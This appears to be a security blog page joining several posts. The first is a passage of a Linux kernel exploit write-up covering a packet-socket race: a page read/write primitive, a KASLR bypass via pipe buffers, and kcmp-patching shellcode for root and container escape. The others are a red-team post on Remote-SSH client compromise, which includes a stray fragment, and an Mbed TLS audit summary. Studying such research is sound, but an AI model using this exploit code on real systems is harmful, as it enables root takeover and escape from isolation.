Page A is now simultaneously block 0 of fake_simple_xattr_name_packet_socket (stale dangling pointer) and the pgv array of the third ring buffer (new allocation). When the exploit mmaps fake_simple_xattr_name_packet_socket, the kernel looks up pgv[0].buffer, finds Page A, and maps it into userspace — but Page A now contains the third ring buffer’s pgv entries. That’s the pgv overlap.

The exploit doesn’t know in advance which page the allocator will pick, so it mmaps both dangling ring buffers and checks which one contains data that looks like a pgv array (consecutive kernel pointers):

void *mem  = mmap(NULL, PAGES_ORDER2_SIZE, ..., fake_simple_xattr_name_packet_socket, 0);
void *mem1 = mmap(NULL, PAGES_ORDER2_SIZE, ..., fake_simple_xattr_packet_socket, 0);

if (mem != MAP_FAILED && is_data_look_like_pgv(mem, 1025)) {
    packet_socket_to_overwrite_pg_vec = fake_simple_xattr_name_packet_socket;
} else if (mem1 != MAP_FAILED && is_data_look_like_pgv(mem1, 1025)) {
    packet_socket_to_overwrite_pg_vec = fake_simple_xattr_packet_socket;
}

packet_socket_with_overwritten_pg_vec = overwritten_pg_vec_packet_socket;

The is_data_look_like_pgv() function checks that each entry has a valid kernel address (upper 16 bits = 0xFFFF), which matches a pgv array filled with allocated block pointers. Whichever dangling ring buffer’s mmap reveals pgv entries is the one whose page was reclaimed — it becomes the “master.”

The resulting primitive

The exploit now has two ring buffers in a master-puppet relationship:

• packet_socket_to_overwrite_pg_vec (the “master”): Its ring buffer block overlaps the puppet’s pgv array. Mmapping it exposes the raw pgv entries as writable memory.

• packet_socket_with_overwritten_pg_vec (the “puppet”): Its pgv entries can be arbitrarily modified by the master. Mmapping it maps whatever pages the (now-modified) pgv entries point to.

To read or write any page-aligned kernel address:

void *abr_page_read_write_primitive_mmap(
    struct abr_page_read_write_primitive *primitive,
    u64 page_aligned_addr)
{
    // Step 1: mmap the master — its block IS the puppet's pgv array
    void *mem = mmap(NULL, primitive->overwrite_pg_vec_mmap_size,
                     PROT_READ | PROT_WRITE, MAP_SHARED,
                     primitive->packet_socket_to_overwrite_pg_vec, 0);
    struct pgv *pgv = mem;
    pgv[0].buffer = (char *)page_aligned_addr;   // redirect puppet's block 0
    munmap(mem, primitive->overwrite_pg_vec_mmap_size);

    // Step 2: mmap the puppet — block 0 now maps to target_addr
    mem = mmap(NULL, primitive->overwritten_pg_vec_mmap_size,
               PROT_READ | PROT_WRITE, MAP_SHARED,
               primitive->packet_socket_with_overwritten_pg_vec, 0);
    return mem;   // userspace pointer to arbitrary kernel page
}

The caller receives a userspace pointer that directly maps the target kernel page. Reading from it reads kernel memory; writing to it writes kernel memory. No syscalls, no filters, no size limits — just raw memcpy. The only constraint is page alignment.

This primitive is used by Stage 4 (reading pipe buffers to find a kernel code pointer) and Stage 5 (overwriting a syscall handler with shellcode).

Stage 4: KASLR Bypass via Pipe Buffer

With arbitrary page read/write, the exploit can access any kernel page — but it doesn’t yet know where anything is. KASLR (Kernel Address Space Layout Randomization) randomizes the kernel’s base address at each boot, so the addresses of symbols like init_cred, init_fs, and syscall handlers are unknown. To defeat KASLR, the exploit needs to find a single kernel code pointer — a pointer into the kernel’s .text or .data segment — and subtract a known offset to recover the base address.

Background: pipe buffers and anon_pipe_buf_ops

Linux pipes are backed internally by an array of struct pipe_buffer entries, each describing one segment of data in the pipe:

struct pipe_buffer {
    struct page *page;              // pointer to the data page
    unsigned int offset, len;       // offset and length within the page
    const struct pipe_buf_operations *ops;  // → anon_pipe_buf_ops
    unsigned int flags;
    unsigned long private;
};  // 40 bytes

The ops field is a pointer to anon_pipe_buf_ops, a static const struct in the kernel’s .data section. Its address is always at a fixed offset from the kernel base — in the target kernel, 0x1c4a600 bytes from the base. KASLR shifts the entire kernel image, so the absolute address changes each boot, but the lower 24 bits (0xc4a600) remain constant because KASLR only randomizes the upper bits. The exploit uses these lower bits as a signature to recognize a valid pipe_buffer.

The pipe buffer array is allocated via kcalloc(nr_slots, sizeof(struct pipe_buffer)) when the pipe is created or resized. The number of slots is controlled by fcntl(F_SETPIPE_SZ), which sets the pipe’s capacity in bytes — the kernel rounds this up to the nearest power-of-two number of pages, then allocates that many pipe_buffer entries. Crucially, the ops field is only populated when data is actually written to the pipe — an empty pipe has zeroed pipe_buffer entries.

The technique

The exploit runs a retry loop:

Step 1: Leak a page address. Using the same allocate-read-free pattern from Stage 3 — create a temporary xattr via setxattr(), read the manipulated xattr’s rb_node.rb_right or rb_node.rb_left to get the new xattr’s kernel address (pipe_buffer_addr), then removexattr() to free it. The freed page goes back to the order-2 freelist.

Step 2: Reclaim with a pipe buffer array. Create a pipe with pipe2(pipe_fd, O_DIRECT) and resize it:

fcntl(pipe_fd[0], F_SETPIPE_SZ, 256 * PAGE_SIZE);

This tells the kernel to allocate 256 pipe_buffer entries: 256 × 40 = 10,240 bytes, which exceeds kmalloc-8k and falls through to the page allocator, served from order-2 pages (16 KB) — the same page order as the just-freed xattr. If the pipe buffer array lands on the just freed page, the exploit now has a pipe_buffer array at a known kernel address.

Step 3: Populate the ops pointer. Write data to the pipe to fill in the first pipe_buffer entry:

write(pipe_fd[1], “fillin_pipe_buffer”, 18);

Before this write, the pipe_buffer entries are zeroed (from kcalloc). After the write, the first entry’s page points to a data page, ops points to anon_pipe_buf_ops, and len reflects the data length.

Step 4: Read and identify. Use the arbitrary page read primitive from Stage 3 to map the leaked page address:

void *mem = abr_page_read_write_primitive_mmap(primitive, pipe_buffer_addr);

Then check if the data looks like a pipe_buffer. The heuristic checks two things: page must be a valid kernel pointer (upper 16 bits = 0xFFFF), and ops must have the right lower 24 bits matching anon_pipe_buf_ops. If both match, this is almost certainly a real pipe_buffer.

Step 5: Calculate the kernel base.

kernel_base = (u64)pipe_buffer->ops - anon_pipe_buf_ops_offset_from_kernel_base;
// kernel_base = ops - 0x1c4a600

If the reclamation failed (the pipe buffer array didn’t land on the leaked page, or the data doesn’t match), the exploit closes the pipe and retries from Step 1. Once the kernel base is known, the exploit can compute the absolute addresses of init_cred, init_fs, __do_sys_kcmp, and __x86_return_thunk — everything needed for Stage 5.

Stage 5: Privilege Escalation via Syscall Patching

With the kernel base known and arbitrary page write available, the exploit overwrites the __do_sys_kcmp syscall handler with custom shellcode:

mov rax, QWORD PTR gs:0x20c80     ; current task_struct
shl rdi, 32                       ; reconstruct init_cred from
shl rsi, 32                       ;   arg1 (high 32 bits) and
shr rsi, 32                       ;   arg2 (low 32 bits)
or  rdi, rsi
mov QWORD PTR [rax + 0x7d0], rdi  ; task->real_cred = init_cred
mov QWORD PTR [rax + 0x7d8], rdi  ; task->cred = init_cred
mov QWORD PTR [rax + 0x828], rcx  ; task->fs = init_fs
jmp r8                            ; return via __x86_return_thunk

The shellcode passes init_cred and init_fs addresses through syscall arguments (encoded across rdi/rsi/rcx/r8), replacing the calling process’s credentials with init_cred (root) and its filesystem namespace with init_fs (escaping the container). One syscall(SYS_kcmp, ...) call and the process is root with access to the host filesystem:

syscall(SYS_kcmp,
    (u32)(init_cred >> 32), (u32)(init_cred),
    -1, init_fs, __x86_return_thunk);
execve(”/bin/sh”, sh_args, NULL);  // root shell

The Fix

The fix is elegant — just two lines of logic change in packet_set_ring(), mirroring an earlier fix (commit 15fe076edea7):

Before (vulnerable):

```c
spin_lock(&po->bind_lock);
was_running = packet_sock_flag(po, PACKET_SOCK_RUNNING);
num = po->num;
if (was_running) {
    WRITE_ONCE(po->num, 0);        // conditional!
    __unregister_prot_hook(sk, false);
}
spin_unlock(&po->bind_lock);
// ... critical section ...
spin_lock(&po->bind_lock);
if (was_running) {
    WRITE_ONCE(po->num, num);      // conditional!
    register_prot_hook(sk);
}
spin_unlock(&po->bind_lock);

After (fixed):

spin_lock(&po->bind_lock);
was_running = packet_sock_flag(po, PACKET_SOCK_RUNNING);
num = po->num;
WRITE_ONCE(po->num, 0);            // unconditional!
if (was_running)
    __unregister_prot_hook(sk, false);
spin_unlock(&po->bind_lock);
// ... critical section ...
spin_lock(&po->bind_lock);
WRITE_ONCE(po->num, num);          // unconditional!
if (was_running)
    register_prot_hook(sk);
spin_unlock(&po->bind_lock);

By unconditionally zeroing po->num before releasing bind_lock, the fix ensures that packet_notifier()’s NETDEV_UP handler will see po->num == 0 and skip the register_prot_hook() call. The socket cannot be re-hooked during the critical window, regardless of whether it was running. The po->num value is unconditionally restored afterward.

Takeaways

For Kernel Developers

1. Be defensive about lock gaps. When code releases one lock and acquires another, consider what invariants might be violated in the gap. The fix here is instructive: even though zeroing po->num seemed unnecessary when the socket wasn’t running, it was the only safe choice because external events (netdev notifications) could observe the intermediate state.

2. Conditional state updates are subtle. The original code’s if (was_running) guard on WRITE_ONCE(po->num, 0) made logical sense (”why zero it if it’s not running?”) but created a security hole. When state is used for synchronization across concurrent code paths, always set it to the safe value, not just when you think it matters.

3. TPACKET_V3 metadata survives ring buffer free. The prb_bdqc structure retains stale pointers after packet_set_ring() frees the ring buffer. While fixing the race condition prevents the UAF, this stale metadata is a defense-in-depth concern.

For Security Researchers

1. Look for sleeping mutex holders. The central insight of this exploit is a bug-finding pattern: find code sequences with a lock gap (release lock A, acquire lock B), then look for any code path that holds lock B and can sleep. Mutexes, unlike spinlocks, allow the holder to sleep, and kernel code is full of wait_for_completion(), schedule(), copy_from_user(), and similar calls inside mutex-protected sections. If you can trigger such a path, you’ve turned a nanosecond race into a controllable one.

2. Conditional logic near locks is a smell. Any time you see a conditional that determines whether synchronization state is updated, ask: “What happens if the condition is false but some other code path is observing this state?” The if (was_running) pattern that caused this vulnerability is a recurring motif in kernel race conditions.

3. Page allocator buddy splitting enables cross-order heap grooming. The exploit leverages the buddy allocator’s splitting behavior: when order-2 pages are exhausted, the allocator splits order-3 pages. This is used to place simple_xattr objects (order 2) adjacent to ring buffer blocks (order 3 for victim, order 2 for reclamation). Understanding buddy allocator behavior is essential for modern kernel exploitation.

4. Multiple races can be chained. This exploit wins two separate races, each with different techniques (deterministic mutex holding for the first, BPF filter + timer interrupt for the second). The willingness to chain multiple probabilistic steps, retrying on failure, is what makes the full exploit chain possible.

5. Modern mitigations increase complexity but don’t prevent exploitation. As described in the Background section, CONFIG_RANDOM_KMALLOC_CACHES and CONFIG_SLAB_VIRTUAL forced the exploit to use same-callsite allocations (ring buffers to reclaim ring buffers) rather than arbitrary cross-cache attacks. The entire exploit architecture — from using TX ring buffers to reclaim freed RX ring buffers, to spraying pgv arrays to corrupt other pgv arrays — is shaped by this constraint. It raises the bar significantly but, as demonstrated, does not stop a determined attacker with a sufficiently powerful vulnerability.

1. Share a GitHub repo

2. Give some instructions to access the attacker server with Cursor or VS Code.

Basically, if you click on something like vscode://vscode-remote/ssh-remote+user@hostname/home/user/project to open VS Code, you might get popped!

In a recent red team engagement, the client's attack surface was so well-defended that after months of effort, the only system we managed to compromise was a lone server, which was apparently isolated from the rest of the network. Or so we thought.

One developer had been using that server for remote development with Cursor. This setup is becoming increasingly popular: developers run AI agents remotely to protect their local machines.

But when we dug deeper into how Cursor works, we discovered something unsettling. By pivoting through the remote server, we could actually compromise the developer's local machine.

This wasn't a Cursor-specific flaw. The root cause lies in the Remote-SSH extension that Cursor inherits directly from VS Code. Which means the attack path we uncovered could extend across the entire VS Code remote development ecosystem, putting any developer who connects to an untrusted server at risk.

On the Remote-SSH extension page, Microsoft states:

Only use Remote-SSH to connect to secure remote machines that you trust and that are owned by a party whom you trust. A compromised remote could use the VS Code Remote connection to execute code on your local machine.

Despite clear warnings, a dangerous misconception persists among developers that "remote development" is fully isolated on the server. This belief is increasingly common as developers use remote environments as "sandboxes" to safely run AI agents without risking their local machines.

Given this powerful use case, the assumption of total isolation is understandable. However, Microsoft has suggested that no changes will be made to enhance the extension's safety to meet this expectation. This raises a critical question: how hard is it for your machine to be compromised if you connect to an untrusted server?

The answer: it's easy. Once the server is hacked, you are hacked as well. Thomas Ptacek outlined several attack paths, and our research uncovered a method to compromise the client without delving into low-level details. Our attack works in the default settings of Cursor or VS Code.

When you connect to a remote development server, a malicious extension on the server can execute the workbench.action.terminal.newLocal command to open a terminal on your local machine. This is a terminal on your local machine, not the server. Once the terminal is open, the extension can execute the workbench.action.terminal.sendSequence command to send text to the terminal and get it executed with a new line character (as if pressing Enter). We can also leverage another feature to establish a seamless Command & Control channel between the server and the local machine, but that is beyond the scope of this post.

Our goal in publishing this post is to raise awareness of the risks of remote development and to call for improvements that address the root causes of this issue. Monitoring the ~/.cursor-server directory for changes can serve as a workaround, but it offers limited protection if the server is fully compromised. Securing the Remote-SSH extension is a better approach. For example, requiring user approval when a remote extension attempts to open a new local terminal or send keys to an active local terminal would help block the described attack. As there might be other attack vectors, fixing this issue entirely will take significant effort. A good direction is to move toward secure-by-default designs that don’t rely on users making trust decisions.

Contributors: Tuyen Le, An Nguyen, Khanh Pham

Partnering with Google to Strengthen Open-Source Crypto: An Mbed TLS Security Audit

We're excited to share the results of a deep-dive security audit into Mbed TLS version 3.6.2, conducted in close collaboration with Google.

Mbed TLS is a C library that implements cryptographic primitives, X.509 certificate manipulation and the SSL/TLS and DTLS protocols. Its small code footprint makes it suitable for embedded systems.

As part of their ongoing commitment to securing the Internet's foundational software, Google Security Team commissioned Calif to proactively identify and fix potential vulnerabilities in the widely used open-source crypto library.

The assessment identified five vulnerabilities: one 'High' severity and four 'Medium' severity. All findings were disclosed to the Mbed TLS team in April 2025. We worked with the Mbed TLS developers to ensure all vulnerabilities were understood, prioritized, and patched effectively. We're pleased to report that all identified issues have been addressed.

Vulnerabilities Addressed

Here is a list of the key vulnerabilities found during the assessment, along with links to the official Mbed TLS advisories and their assigned CVE numbers.

• (High) Misleading memory management in X.509 name parsing leading to arbitrary code execution

  • CVE-2025-47917 | Mbed TLS Advisory

• (Medium) Unchecked return value in LMS verification allows signature bypass

  • CVE-2025-49600 | Mbed TLS Advisory

• (Medium) Null pointer dereference in parsing X.509 distinguished names leading to DoS

  • CVE-2025-48965 | Mbed TLS Advisory

• (Medium) Out-of-bounds read in LMS public key import leading to DoS or information disclosure

  • CVE-2025-49601 | Mbed TLS Advisory

• (Medium) Integer underflow in decoding PEM keys leading to DoS

  • CVE-2025-52497 | Mbed TLS Advisory

Take Action and Dig Deeper

Thanks to this proactive initiative, the Mbed TLS library is now more secure. We strongly urge all users to upgrade to version 3.6.4 or later.

This project is a powerful example of how targeted investment from companies like Google can directly improve the security of foundational software we all rely on.

• For a complete technical breakdown of each vulnerability, you can access the full report on our GitHub: Read the Mbed TLS 3.6.2 Security Audit Report (PDF)

• To help the community, the custom Wycheproof test drivers we developed are publicly available for download. We encourage you to integrate them into your own testing pipelines.